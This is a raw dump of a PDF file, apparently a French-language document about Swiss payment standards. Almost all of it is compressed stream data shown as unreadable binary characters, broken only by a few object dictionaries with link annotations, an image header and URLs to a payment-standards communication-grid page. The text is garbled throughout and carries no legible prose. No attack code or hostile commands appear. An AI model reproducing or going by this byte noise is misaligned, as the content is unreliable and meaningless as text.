Olgzaߡ56qn\Ib-Im,-ۺNosfɑSjoRcY<ӛ9^"NLgZa^B)gi3b+9h[<7>wIvwhsh]M^cw:=8yn~~#OcM//;co3|vڻƒ_^^ܞ3C /b3i͇]nxǩϯv g$ǨTS-s-öC,VGjӉU X8rÐ-޾]nD8ul\}1S ʹxrklN'V5` CfpFR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ % +AX5 @!1H&($ b AR,~ܚZb$Hŏ[ZK Iqk@kABb )?nMh-1PH $ǭ U"S/*4$Hŏ[ZK ho #w5yM^Th1H1Ԗ($ b5N ARƩb$H8SB n8ף_qk}t;;G3KMOwz8h-1Hq4doޫ n]QT\*#Oۛa\?e2c``G>I{O3dS^ :x"y@r3}^ &`WȽ5*s\1HQѫS-< ٴ^Fm|6yCiD{;4]G?`zͿfo7e W/tϓ[/ϣ>^%;i<=|1>]敥/ ~2mlI3d%P]\yӽ~Qp+xN8v yˋפ/?i rw3Z@Vuy]D/v?Stvcoe6Q=͵X":_xB?IEըOa{\<8#w58:?ߗg[aeۗ3ǿ=y>7V'U}3h-2?'<}:>` 7ˠ +y}ūRnѷ$HըrI$[N !7>!nጤX +^.OxR~(.@A6t}6;wz}_ѾJ؍Av^-Y~!eoɾ@ AX +^.Ox~E]Vl|':pp;v>iJ_?%Op0ܸ%Vej`Pֽz1*yƯ=,6NH $jTxvyjœsd_{ln:?&!Y료~󪛶>Ozp X0Kn1W{qd],$Gx5u>~#Q !1Y-:rWA3獫=1o~o61ȣo/7,gG}X 術i}OG2Z;a?=Mpqkd}F+QAX +^.OxAo,^㞬9'O4Gn23b5*w/M-! b5<|mh<1ȖnѦVIUwy64d&ŭ|6ynؿzف~W}Mc|YK@1HQ;|G @AloEȐiUMG*r\m|}ueol}7㜀IUwyj3H e $kdO0 "c-L&%xSW$HըS- <D%ٲ{9wL6/knG;-vK s_V7YCÑI}@yb )Vw.O-xc(G %:Go9Ÿ7Of83~~z*y=}i%V«$dۨjtpho[Д$HըS- 1Ȗf׃7^9YƓdY0/(<AHA $jTyվAndmd&7ëFXX +y ! b5<|p' *1Ȗo4ɾjc_ xA'1HQ;|[!u5}{pAFG{@$Ɠ*r2Y:8Djt9|ۛ ")Ik嗇lUeEb-&5oo@ RR'<;7Q0kn\b-&5oom#)Q OOpfnsۆ?j(]apH/,e'h1Q.y{Co1HOȞ2g ۄ7ty .b-&5oom#)i!8{E/&n;nSXC D5>u [Σc{Sq|d y~Xnv;CwMot6+AJ} ~Mu}(|j/u/ b]_gp'bip]¸gaLeNHΌ˝ Djt9|ͯ%AJ' ?ڶUHHbM(E D5WyoK %1x27{޲U8l"uI!b]_<\i ]x^(ܮzA% AF*x~|61Hӣ&{WuAOn ZLTkuK<??<%6i>e ^Q@ D5VWy1HIܝ}I*cp1rZ]O %07QfQ\շeqK7b-&%AJwrho‡og{Ev i1K>`-GhV@ D5Wyr?O %IZdt[h<[ܝ?v̧Ol,\vv$W/aA2r0Djt9|ͯ%AJ|zp1rt.h1Q. 1HI1~Χ#Mٕ_O p1r.F R[ rxXx26mC'Iv-~U ZLT-<>o$WR>_Ix, +Wh1Q.K</4JAFpeD,w_*\E D5>b.){-oF|cZAFC %/AJA~l#eZh"b]_K<o|F1r: \dZLA>!b]_K<?4Mp1r: \dg)[te +h1Q.K<G R27H$] hC#b]= % /ܮri<_},V0,b-& .C RO "x~-NB/ *Yx2֥ _G +AF= %?߅R6i A4dz]q|"OI-'o+ZAFC %/AJ:=L<;loOӻ@uχ'%_EZAFçuK<Oݢ\V[-owLAҙ(U Djt9|Z x~| AF[ r%y#J ZLT @Djx(h1Q CO%b-&a{ bD D5l6w7;$<)^'<=qŔX҉'@ ZLThomӧAN}Bͬj r ll /c: 65-@ԉ'L ZLThom\@761HQ]-Hw\] h1QGOqQަQoCc@]Ai"v8) +V45,avR㱻up]Y@alvy*Mx#X7xn*;l?vg +O/y,L>֛f*XTf\0{?p?} 't+ F/LThomFm P+[dd*7- P|=a|h1Hc6 g_&x2,KϦ|$o->)x'ކg?{o?iQ%6W䧰b|np._WPUEnwkn;E.aR|,?ҥ\癫OF#m/t,86p Έjt8z퍓͓ ކo;TSvI^~w,w̱S-T$ ۳刦dW&lUU$+cO ^v3@u9E{.̀2[dcOKB$ E .'7j_  03bF{joA{Coc'.gcG*|sZN:g2r?OAXr_7co3\ݣӖogTTc{T:Y*Trsw[e:=]FikPpوAF8<{Coc1HQO8~1>xʮAD\e"*[vgt9o{oFGO(V j^(do/cSikU!^pDjt8z퍻pgm$Fc@H'nzL/ABR4Z7uR-eDtRqf}5k{$<؉FR,%7Aח;\(YPx (NV^F8یκ wn2wO>,;:N +[ +whη +#?} 't+ F/LThomFgpAWɺTn[ޡ> !zNQ>A<7Rfo}Wc!E5jVpn1QGO9FE_{CoӪiv( ) Oo]md1hN? zVL3j* [jȦڝjX3ִ#Rb-&i7Q.m'*߿vj('F\ү+ljξS.+Ѕ_RpوAFޜSo]{CoӪO8w;ʯfo?,}Vq|:M6 7ݿ8M5-y[Mʬ)܄l6m>ަ%(o"\msnp_?'Uwz~ciO͇MTh)Cro>"8&X+nuh(Is|/Vu,8F D5:=zC ] E}BGn\Bǿ;&Zz7ib?uB<\~.Iu%nzphS~͒@05xWxtYxȆ_eT5_7Э$0QGOq)WխiP (N;Y7 u ;C'؇_dfb$(Pmvtmf<[܅ +P=븜`~&fYڒㅆxq6}(" BV]q>(gnp SOh+/%4wDVpn1QGOq񠽡15pWh1Q CO%b-&a{ bD D5lmڷ VdͧAnErmwVo.iKlWUPqNV^FQ\p8>ecos9g;z3KcU\~'&Sn!^xǚߞU %#q{͛õlv&x&GiI woU[Hםn%s{WU95_7Э$0QGP\p䬷8>e8\n}<b%wn2wKx}wa4mOn>n+^%o:zӛCji)e=m"yu;@iIWՊj*mgn%~Tms\} 't+ F/LT?m̟ǧ {eCosf?vXkgsj>;| g/Sp go Smc՝p=m"6[YҧnErÌKZa?\U?U)h{΅?Ϡyq|8RcL?x.]T&bXF/I~ZҔgkS=m"6^nErÌKZa?\U?)h{΅Πyq|8RcL?x.]T~b1H{zf/Uƺ=ASE%iD5:b8>eGosg͎!XQAb|(==. PÞ;ڳR MFCLJb{F{qͥ!6;ǃ\L tHk l*ZZ1`{jER UIj 3~.~1~P+1HS& :<8>eGosg.cL?x.]T&bXZ_B~st?_*ji7D7Պ;@>UV+f]R9pUcV<5_7Э$0QN\8 z'_ǧm.u ɿ<kuP/m1*|Bp^'4؈=idZճl=m"P7U6+a`gvIUun1QŹVoc8>eGosgN~wXm7O\1鏼<e +E :| ^2kyfy[C&+iI wN%鱪V$Ί7ʹ=쇫5n1QO\p1}[no2Ρc~ӟy;x,)ex tدn'e\͂?vݭh/őjS4N,7cmhbrܺ>il/,|(l`{nE2{Um]w]R)LJ`U67~. [8#&8m̟vǧsm.w پgsj>MƓ0qϻMtFyp n%腉jqzzS963x^F/fW[.b-&a{۠m8;M1HQ<ט^~u;ynfCz"ڠbZ-h1QGOތ'wai#hW\-~$S&FuKx}5X$~5&WyѷOuu`zܭW{e{<>o'➾8k Ey|Y,fWIpq[3oG$B?Uei7ыʃpAF*xJDNc:"]AvXt$,$Q*y>t\!by|u[U4& Djt8zp;S RU[ތe7 _&ǏCMM׳$[VAxovzAϤUxDjt8zWy ,swOFߟL'Wc1/o_% ɋ~|M[ |ABpA}?}]U7˻l{rS=8wBP܌tm-^HnHޏc>on˛ovIg}G+)b-&i\1|s#Iܳ6$,!Wr|]1H31HQy<*Atg5M. D?o&$PB-1l5a?E,?Ov\cyAD Rb nb-&?ĥK<كG\ho OCy "ۀk>4TƏĕ~SLivģo6U8"|ۑ E wn2wz6Lo~$â^1t*'av gD5:='zd&x3E/N?6wtAc|>TC +k$is6 ]駜CWڬgHg0{Snd"Mr 1 C D5:=&CM3ho?"5/zHd}6HoU>V @O Ev{wH'|_:d 9 6P@G7lfi +a./xŘ f0bia0#leYRS]GUEk柦b]^Rs5dWIGLwwVؤUӧów^vzc}9k|o vٿ|]B`m}]_Y +F#RL޷nodo7CA虙wGڽ`f` sS+N>G4 N??; 5wPg~^qQ@쿬zf1nY_?xu^_̶~N>zߒV<_`յ]`7 I1G{ަ7ɴ?Ctn r u,[r0VC w39~TxϿv9PԼ'oέy pĞxWǞA +Oa-Hi>g!CAd()`QKǬ@ @ %4rl[=eBv+hAFS]pZ֓A $Ji>#d HbOAFS:Bd()A $Ji>#d HbOAFS:Bd()A $Ji>#dgU/˛zX,z̋AFS:B)drY`AFS:B) ''_!2=!DI1ܧt RrW60AAFS:B)+y_ C %4r2HV4|֘pY.MǧlɻE'L<^|}߷~h|Y{2lcvGbOdl\ƫȰ֘dy}Qt\_[pp6i>M|4dz=Cb5ߩ=@S +2Hnٸ,^ޅ[cdebŽ7*>d^ כLr:[㷓xv QRL;ePdFǶAJec[ߍgA>uz,~d{jVضi2_ *E= QRL;e+p[ %sW~bz{C`8ΗdM:UM˪W/?9W&|;$Ji|lrqn l 5d?/?"?L/:fn<]mr}y6W}bO[^L=O $Ji|lrqn llnr~2#p}2nURFhE! %4jS6 R>[c4buŏaY/Ɩuٷ @2HӨNل +2H/5;[e!pd()Q -d߁'d()Q -dCd^V${6 qAFw& WඐAJgϟO?YGoA8.2HӨNل +2HI(||q2Uٿ^h8gW.p\d()Q -dpl{x'gei_A8N2HӨNل +2HI y֘}r݇F&o{&?Z2Ib5)p\\B)Ao{r_>8X:d %4jS6 RR7sોY1np<->7_] QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6  QRL;e+p[ @ %4jS6 R|`4yW|/n> %4jS6 Rr =ŲwZ@b5)p\\B)Ygpv2z~uS=$Ji|lrqn dA`"?L/| @ QRL;e+p[ %3˫mN@O QRL;e+p[ % ^fT,~nQxX,:{W^.M֟6Y=Y8 +2HӨNل +2HI8?D ruQ O*s! /$Ji>#dpWwŌgW[? rt@i~vq!pѐӳ٥pHbO[ dyYX8zs~[;?NV%dp6BFbO$A6w~j7g?/?`WWƳO1d()AJfߥE35,ϧkN/*?Q}<)$Ji>#dWo y6WXYI QRL#)! Ḹ7f4P]dAFS:B)YgpX3|5o4 @~2H} +@G %{ ;b>?:~^82H} +@G %[;bNxs Rr pd()AJ|#d:?NVJ,.ow Fo˟:}ʛ ^Lϯ*Ѭd()AJB,]^_ Eq]&69&62n:>lտ}4\f1ixI&o/UHObOW1|Rukrp]_?"rof_F?" %4r2HIoݺ|kbd ǯw^ZbVlK>7?OBbOAFS:Bd()A $Ji>#d HbOAFS:Bd()A $Ji>#d HbOAFS:Bd()A $Ji>#d HbOAFS:Bd()AiyY ^7Od()AJO}]٨Nϗya8b2H} +@G %dy5;|=c^ %4r2HIdb]\?U QRL#)!g>$Ji>#dAFS:B) ㇓ym17w`4y~|^btjbQ& QRL#)!4AϋIYqqU>^X QRL#)!4AU ǯ○?t<+!?7;?"pd()AJ 7aժ ƳO +$Ji>#df2|zz[AN4wAfW[XX QRL#)!4Aa󪇡.fg?A8V2H} +@G %Mdŏ'wʄ^EX QRL#)!4ApR @; QRL#)!4A瓡 @ QRL#)!4A~,E AFS:B)ygT f <1$Ji>#d'=2;@ QRL#)!4A>/ϧ߈;|5BfgWxɫ2OKbO xy4N7%fq=3dbz^ +!7 @2H} +@G %1_{r.{2]&v5cO?:~r-O Y?p<;hd %4r2$DI1ܧt  QRL#)!A2H} +@G @ %4r2$D9I )q$>o*w -Ļ}8fOa-H7&֑dfVVd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J@ɓ]]Bd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd()[2$DI1fޒA $J7&  QR 5d Hbͮ %A2HovM-A~k@o @ %]zKd('q{];M?#nEM@Гjml@yw -d_&/ 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:CAΐAd3d0 8L:Ck{9e`4"c`H 6G +endstream +endobj +283 0 obj +<< +/BS << +/W 0 +>> +/Dest [27 0 R /XYZ 82 416 0] +/F 4 +/Rect [356.22 638.55 417.34 651.55] +/StructParent 175 +/Subtype /Link +>> +endobj +284 0 obj +<< +/Length 2520 +/Filter /FlateDecode +>> +stream +x[n7wXba"mHbA/XIvX"Q.W:p^ܪ,][F@732M%{j}Y4)NnX'ӻ,Oˬ'כJ骕zs)Y_` $nwdu6ﰁG{ݦN8 +?%#uHRUj_ibA@ݒ~Klb2o,@cQM{I6naᾴn'فQꩽr+_^/ n <-5{Rfi$aBaXȑF"1Т=p{)j>1NYR+ DqYhzCS{p߮Ĵ̙}mz jG((]NB\$ׄݯJ0hRr)"}&.^=莟b2wH"`ce#W?_\]2w.v5yfK-҃,=H@83E ~Q|f:h +v`g`gk% E׿ 9>9}c`^B +mhw=,j۬ 8J9V?=E7qh]l`7֠s)UD -˳EaY|`Bٓ^ jœɫ5侍j c(?[ fOn4 =-(S]uh&={+=4kКɓ']t,DШ5 xU(GF\CAZLW{4I&"}g\##9<}t0o#A&Rꊇ.MD\aB Y-!ͪ/G_J F[ KdQTr ?3*ѓ +1 |\Q*0˦zBcE~2, c]ޓ'> +stream +x[iXfw&bŵ#^WHGz ކu |^1Ld睹g&/??tWb-c\ŋ?ȉDJjP%5T @ UP*AԠJjP%5ϟ_oݻJݳX-=zoW/a())1Ut0ףJRP%5T @ UP*AԠJjP%|Fs +Hg*GVYr⠮4G`Hr^ړ{HQ_|ow  T9bb5;5Zn#޵4w$vfcG`cg߻dQBa&cE'K{Tg\ OB#U&sX9F`DjY g(O. ZS;zL?*Z{Jx?~?/TIV)H +U5ZhRa{UNEC+_?(54]R*bU֩ihFhT~[eEEyyU Sv5s֗reԵ nJySY07 +ëjnZEju'jacmnl秃Ad0 ~=ީ6:gMt[d5)`֣5Sf.xh[5w?*hY W32:~u/JFRu[.u~FNwR, \YMs| Wkt ޘnƳXcgQ!F%9chv)i.zxpq<ÜPՌK[\USYvGUH?>855$x|im}cmc|<=*E_QIU)jiWi>} zWݦ{.Nc/lJ;m~fL)C0JQX9k׋mMzgZE36Ǟtvاƭ V\ܔ.kDg}qLϰ]%ܡO^(:1yJAyFalQpo.]黼̽jo~fmͻ!K%&\F;,/UvV7e亏VQ8&rr{弽wX{EC_U:b|(p : )w&֏*GFT;C(3ZB?pM&x%rIaGڙ*=d5+VQ%Y[%b[!;Iփc;P*I~s +>BUCo9g"\ +T9b4&;:t7TM@n{q6foLPHQw6]i\Ss"}tKnj XvJF7͟8eXͬkyYYuǮLOэ!15X 50Ύ $m~EP# U m/8Fx̕FqYSn~UԢVS~1Y,boia>a}UrԽ><|Vn#v=R.bJiARo hmi>{SePƼ rҏ;p~?NRzrUؚ֞ 2Z0#k+s ]·kW߼4xnc6.^ ~뿅*Sfx93zW8צ?.{܊] }tYM w#C;`xs~XDss)N^vA[9zGn?]3*Vtpq]rFZ`DרbVQ)uw[I-kvt ^۵lnZ%KZ4nQ Y7{]qImbqJU@MWŃVs 3Jj=K'3ٰ#pp]yB[˓nd9xZ.'5_/* rK=÷U"Q+JlꞱ2šms`Md:ޭ9wˏUR #nJ)L"J~7'f s󻻇٬/[5ʄ փ%&F.NO'Od=\ 2؆0쿺*m,~{uiK6^k6}m3h.SfVUGzOY| orZwC#o8l*eלmN'[7v>z٫31N?qNd+r/=h9SV QhDP7iOw_Wn43$Q꼸%mK~3uʒNXB_T|]_u2z}_:n(㋻1?lEkNremWk4c4ɧLJnOGC~(y+0-F9l*WTKZD9lP3z?^P59MF8>_TԘf5ʇA>kusڴ間/u>Ar)m*zypk\%;V(ɶ:X>؈g;EqQ_fG4wv Qes֟Xz#C^ststxXLog'X Je'{b7Ehkѓ0 ]3>3K@{raݟTacT⬫{y⮁JKo[L,YߡrǥCUٔs'lGaNWh=UjE 9Z+2Uz_ySk¼֥)m *ݖu ,+O?d%LgGÛO6;@ô=[0k>#e#<'˖Ml5klw7*TɯN[e5^*Y.A?6ݵ`OSZZ%Wn'~*н;_*N-Jڹܜ5?9=oYb[<5׽q%lQoèRaݶҰy Z%OmV?kϕTaTZhwѺ:=q{<#Uzwӊ9VcYw@MU֓M6eprswR7ekcUxٗ"_~bwtg{b_Q.슜e0FY9[ZY}TuS+21ѰÓ*MRRDM")%z鿙bT +mRU;q݇3*;Ag:i{*ʔkf + tbcNHicͭx*Sk>$X1l"w}ewW]W\̑b~&PJmMևx8żԨUZ.YlN𨔓>β%w w +64GE컏*QhiW9;]V-תe-)/%$<.Ts;_#2ǮL]APj'W +zJOF>}xѴJFQFŒe"ZΩ.|L֋&Rה>nɖ3 $&&L +1,s[{WJR7e4*!:~ԏiϻS9IK<o{V'*6#iλN)jzxfL/kK fN3l=V,[&Tۥi~]5yʄ f}CV,j6\?eՄ -itU&dܽ7l=`ٕMa^k/>oR%m-K9lD;yo{]$U[|_IMp /K s.v{!Vff7qkq'L`ni{FUc;׆Llmkavl8~y[O0lDgD +.v;j1&/-'=hNɯ::mqBn!'nep +)-~uU–XǕ0̓@iW FS􄧳Ϟ˩-bEV^O5ە_6V\ޜsyeoei3ܧ]UcR%aoDlZq\V'\:ety+twsu YdFIJp.o[h=v~[ֵt1fyvJ^P7C`L^{E3p]s8,X!MHV8W:YOpc[۴ul`Qbq^g +@+/e]*R.8~PeXfrԂߞv(z~k~bU=u8^,BCA^{Kބ;캞~#+#,6#3d`2a^SFԒ+Lt^AзN{y_g*Dv,pV%pߵ}ri\tOcQ%;ʔ ;M7$&{>ָy-Kqů^a[24Tis*詚\[u(o|Y3WQvUvR;!>00w;#1R\wpt%Ggl<ݏ{1+g%ijsw;DVX?s%P_kh Dt،l9D_snl_>p#$^`X9:q!Tg_aQ$ )xy]WUv1;XRk\ I֟W+6[w]a<f㧺mY?du"0򛊮Z00h;kSLp{Z1DXkc+C Rx;E2Tx*e'~?U%i_dX#7~aUG_kTٚw}*ȚYjJrwR*'EhJThEթ3m7\rE[ı>k; +WuS7*fvK* aRen{6*ZuQʕoQ>=u[?ʿU똉QgR/&+WͳCA߅ZGLJޠ+rzM:wgf4g_TUZU~nҪ\rqMqso:8.Z"zeٓ㭧J.ۈRplesR!Tv͗VV'&K["fU5;ʐ7h(J8>uxnԳweJGy7w]2 JK? vv[siUƏOLt ]rVbAEwZl;#=Uv1,1wzwFg9{ͽu,rp >XsF]=3]'F%gWW.Pk9N[UPUU:>vw)vK.Ž 'L +}yuUEyTs*݃XC]s綥}!fcY^o2*u-Ei7o}8;<?T˛XsZP3o8o۩Ҿ.*~i>jk#OU~lsjOƾIwF(#d#ccM\+R<ہFf1=_dSZ<|B mrmz)\;VrQTXW|G]=$J`BPC="[Z}`/Bߔ*v^JfVا_7ִ q=@~O+*-*s_+6}PVZ:%a0h]/j Rc ;ßv.l_CHXClh-M}cE()?::/# y6U$W(κql <=sJ|_ u%؅7s~UVں_6D*aŖrPNm};.* 'XzٶKOzWYsB,D6ʪcT6w"?6N)9v́, 3rdqݰј%V*S0rQ PQP}K:s3=PkUչ?x}O3"s>sU:YZŐ + Kf +).HՔH9_A{ie%*hJ2QWok)n^7"wGYd+M+Q` ˉD$Zx?fg߉|pWi)m[sdVSK?:D0>L6y/:ga񛻗mMVZk`DTQG14לqtjˏJ;\MƧ$~b +'IǻB=N ~GN'g;lbHy%;eRjv*{Ho%B V[KωohhXRAIX Skȗ/c<>C; j+]Tç=ƞ(*=wZ]?9,yW{3=WGkDJvIIQv"oZo H-ν}$'4ۜ8g%ޗZ# + ϻQ; ).8bG=[Pw>zJD4QqlXŢn':G厉Uuwٺt 6j^AfJ`{qؗbSGPܢ̤;V^EϺeo󋪬S듂Ngcw^R9]R6͸a<ȝ;Jdob9lw2$ wSyj+7C"GPTӍa_֢^hOJ{ʗ*H ,L-N},/R!}]p$* d`W#*Vȥ {KQQ-3>!C3(v#[?a&E#X)o(a5k3/ܲnw[FOT [>꧑?ޡ7 NUM>x{؅Θ2k%&Wz +Dr;kQP>G7Z&^oAcmΆVyidu-r0f\ Qgrv#S}㊑9 T!{{#܈rSsAD4uԕhq0BsS+X5C5\/g6f̨ug;{FTAVףgV +9#o^mkF?Q^+H otI`jfs +ëM|L,i10Jq#v\Z&ݠO5:BxJ8vzJ 3-=LII^GxT͇gDya|M^g/Vi'8)i&D'4ƓBr-֒4u+qi%:p[{Coحf_ 6_۰ mzfJ#ZLo+x>ʊ7+چe j+W\au 6( qs;>%@QyziȪ+CnUVZ{'i׹z*p'MൾlmT}J*fGL#>s ݏ7|z8`%0n d-fTSSk_ +qcGV"%`CyW4(";kڡG {5 (g~/}u}.h敼9XV +bS2vJZŮw)8:LίI 5K_I/+1V#{Uj$dB9(uGMx4ů2KO7wmT&kL嘨*Ƙxr8?>P[H2J(}Z.ְYH +9gRKߴRB6w OasǞɰ1Dd>RXyىL1K"hE\k۹bBʢϊmQonV8w;Xr[ʛ` ~jO-T0mb=\ЄAe"n[;, QVFվۂ?3xX}qH紐%::BiI\!_%VɪV +GZB\mO7uaɂ\2Tρb>;L+}ew%o^Q7FՒ"xE6"p H$P"ʇx_F˰R٦{^I&Yںy8t9q Xon]0 l} ?jGoY9ĺY~{G ʜ{qؑlDr n7;ڛY9{ctuvh[EDeg T?=]]Bel >V0&[{ڹҫOU7.O upE%hcVX:axl'l96CJ%@qNJv?i%6+DRLƚֲ IX>zNZNyS슲EO50Te5\W?]!\ogΪ4 K4B2=xb|n-f[bRw#CɾWY'^2ڼ X˷GKp5DG\}F!ҖEE>h 9]bccqΜmxzd^}"œO\jypJ2^tZ4Usx )cR+>p$ Ta|P]xp$|1V,9X V+Jo`%7PK$J`% X xV+o7J`% X xV+o7J`% X xV+o7J`% X xV+o7J`% X xʕ+111zzz,͛7WTTT+1R> +/Dest [30 0 R /XYZ 40 412 0] +/F 4 +/Rect [436.47 393.64 497.59 406.64] +/StructParent 177 +/Subtype /Link +>> +endobj +287 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [242.49 354.64 506.85 367.64] +/StructParent 178 +/Subtype /Link +>> +endobj +288 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [201 339.64 246.74 354.64] +/StructParent 179 +/Subtype /Link +>> +endobj +289 0 obj +<< +/BS << +/W 0 +>> +/Dest [64 0 R /XYZ 40 728 0] +/F 4 +/Rect [281.47 184.14 328.93 197.14] +/StructParent 180 +/Subtype /Link +>> +endobj +290 0 obj +<< +/Length 4411 +/Filter /FlateDecode +>> +stream +x]r6߁w;1MAd<8Mv7MM/[v4cI%%i_ia_w AR\m%98Gjz3ZEϞ>_W&ϧ_N/Nt1?}~KOדQOQ/yѨ`4IY09>7+ +˛#F$"&F(B˙<]ʑ[U_<_?}+hkӷY1D&y"Y|6hL~*>qF+89b1.7B-cBdپ\в\7|$ڗ,!淫[є$l#w/eX~HY Nr78]`׬s28}%-r&6r'W$#mp'sPN|0“4k㣦s~׽h,N$U3$M26>HMyB IFi"(vFxXj1k7TՀ +u?śx|kdG5 Ԣ96Kuyҡ)KA[(`hE<Ь,p׃/gIrl^yHXyR'!tDdtosV&x}Tl@l'9eRJ7ɹ^ɫ+/f Ed& :> ̵Y +"V&TF,0ScOGbtd(sY"uME?:}{?ۛm4y89>vC5p)wi!*5.Iֶۨix Ԅ(g3 +PݳBT˕Ye%Zh.ZeY dҁ|ƄA3ߏ>{,rP6V#j[@JiL^{=xZFeY<=x,Ƕv3iѻTO:-I{[ۗSunnPyRY7=E 1mHz* ~y=5V1{/ㅍh]$,MF[6ou`4Eg̻O`.]\T䖓#=@ƤXz$J1rq 42nJfpI1H)P;b{Oj?j +\hp|UU+ˣk?o-thʖ J׃ /ThqHؠ֡(7GG?ؿ6AT3 Dq29 H` cP`ޱJƠA`IFg9Yxbx+3lŽ6U؄~wJk!Hͦ1ZJ#&,7{uơ^ W&g'T^/8; +۴ivvg4s3:>ٙ%Fv 2ݳ^\ѠV!1\oxGugGh9n80pQű*:J.RAhSTrcm,5R_2bYTDUsWEm[!XԢˎ`:zhU$Q=!C23eZ#݀z$I- lʛM+Z~bWA&z+^^n3ZX! +7UbmIIW`71L: :ۿ]06"$@)ɏ]`U;<] '@U7b෨rS#yKFOj7fwVY9ynNN`:L <$GBڠ +iEi tNg*jZ⠬ +?d(Zsɢk#s}Ȗ5qgX€2!' مOinto{s ϻ;Achu *ϛ3.@q&/U!Z1VOTR=SG3 635T~ dEq/ t2X%CF$kpaC'+I,_\TZ]UϵB:0 H xZcbg7[o==-zZʳ8 -7^wg8>•htyurN IA ԋحU]Ȯ5m$Jy_&5`|{T <c%إ_x,,Œc5ԫJbpu+q1 lvp& lGN2ΚG^-zǒODjXH흂 Cjw[:I/cNdAR &SQRz;Q^z%Io[@i?G&DcLC+mR?.7F;c c7`N[ {ڤCsb0?`h9d"{%<[m}FV/]{]U ۈ oA4`Nl +1]pP3>?_x ?i0~܆@ڗ"mR1헉^nm{}o?͓}Ҹ}ىW1).LU=6jRݧVqfU$SFo0BSaLv8qhI{dHt௚f +endstream +endobj +291 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [167.9 199.89 457.2 218.89] +/StructParent 182 +/Subtype /Link +>> +endobj +292 0 obj +<< +/Length 3476 +/Filter /FlateDecode +>> +stream +xr۶3ED0h&q6t&isfNF(EOWA t۩mwf~QMѣMSMΣOΖN~YN^Uj]C̪z2<=>%$"QREg$zv|sLN"ь2ʋP-䬯dF.]]}}|(ξ=>z&{}|tc_2׋k!3,!y"-jn\"[c>c1L1SXVp[p)c\u\v\.1MU_(HQwۓK'IbSErH؅O 9/Tskhd+uj7((#_VVwk@ḣ <'fU v g)C%×A0<>)@5i2pW?zit2OM\ hhڳg>=Eec#ш@,8&w悖$sC{MBoSiٞ'iڌe 2")h l=m:%Iƥ#B$^OuLL;nDipf<>YAR;e<iy 3opy1 =f,/1_܁ R:/LX l^=O!{.gTDOF,:y(}wi3i*ɓG"@khfUz/z|M|;2aQy +Q:ހ-q; @bJtnR>D&.p!_e$ OLVzp^p`1il11jb 3y 9g\⤏VY `_ @u 3o +q VwױB~[%8a@Ku rafh^-xw0i} +pzmS5wΕBrþ`,+h-$x=cժ [9>[ ?=2,R1υAF:}AK`ab,ҙ­.Q VY⡎:#)SJC%>JS\] rCބ]@Zp)]JJσ87iύ] u}:ޞ5!"\}D>_L%턏v*P_z+~`Uu=Vt>j.bT'8ljH;=[Rt+רC-ojC /5vGd3r_-'MRjC}(jNX}BCF ]s龖^;E/nǴU;+MV"fi-Fڜy%y;UbnVQc +%:{Ѧ_̵[mO`st*7݄׭O&꫕;f|m2_/34@],|>:A^aNc LK ]g{_RLTyM}럢+bZfbШ?^Qc[ **MbߦNR);tk6czKX)cJ (6D7~gk&ΏvCsNCPw~8WӋ:fěY{"M~ա*Z磟Ppx4~w' pKww@E@~tO{-(~vVД/|mg+ }Ї*oY%!&鰽,ˀ79rgN])&|pU~4v.rz+wuD klZ +Luc7ƘDL]ai+ 5@]1əYyړQ7Qd$bXd)yIU4vyJ 1RKZ<ت>vCp+B`UHaꟌ9,oPbJo~>ve-7jd@cE+R0{M}ͭj8mc8&[:ƨ]?BbPVcޣ2~^`b'U7,P[u]&'4S# ̕ʢ_SkH`H%SG-^d}X΢*{Qt{Q>qTN\ulrX2 g2<$Y0W#}YJY>_ c}2U + hCA~>ټ3 !tTټ:-os/Mnt" p+.TƾSS- 9bGG9| +NJ%eY~S'B|5Z/i!+HWrjAG!M +k?" +endstream +endobj +293 0 obj +<< +/Length 11927 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 504 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 541 +>> +stream +xݿkxݽgvfgReNtց +:9`.' 30,a1bh8 +m +` +Ac,SRkW~e]j30 Y셬 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ + 0 "+ +/*+ 9Ԗt-9Y'P[/6+ݑ&"DV$ȊDV@Y)+eXmnm!?bF7*3= ΁独Heʋhɕg[پ=<:1"e%K˙Zl +K 